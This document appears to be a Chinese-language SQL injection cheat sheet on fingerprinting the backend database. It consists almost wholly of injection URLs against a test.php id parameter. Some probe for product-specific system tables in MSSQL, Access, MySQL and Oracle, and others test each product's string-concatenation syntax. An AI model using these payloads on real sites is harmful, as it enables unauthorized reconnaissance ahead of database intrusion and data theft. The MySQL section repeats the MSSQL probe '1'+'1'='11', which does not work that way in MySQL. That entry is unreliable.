後臺數據庫類型判斷:
一、通過頁面返回的報錯信息,一般情況下頁面報錯會顯示是什麼數據庫類型,在此不多說;
二、通過各個數據庫特有的數據表來判斷:
1、mssql數據庫
http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
2、access數據庫
http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
3、mysql數據庫(mysql版本在5.0以上)
http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
4、oracle數據庫
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
三、通過各數據庫特有的連接符判斷數據庫類型:
1、mssql數據庫
http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
2、mysql數據庫
http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'
3、oracle數據庫
http://127.0.0.1/test.php?id=1 and '1'||'1'='11'
http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'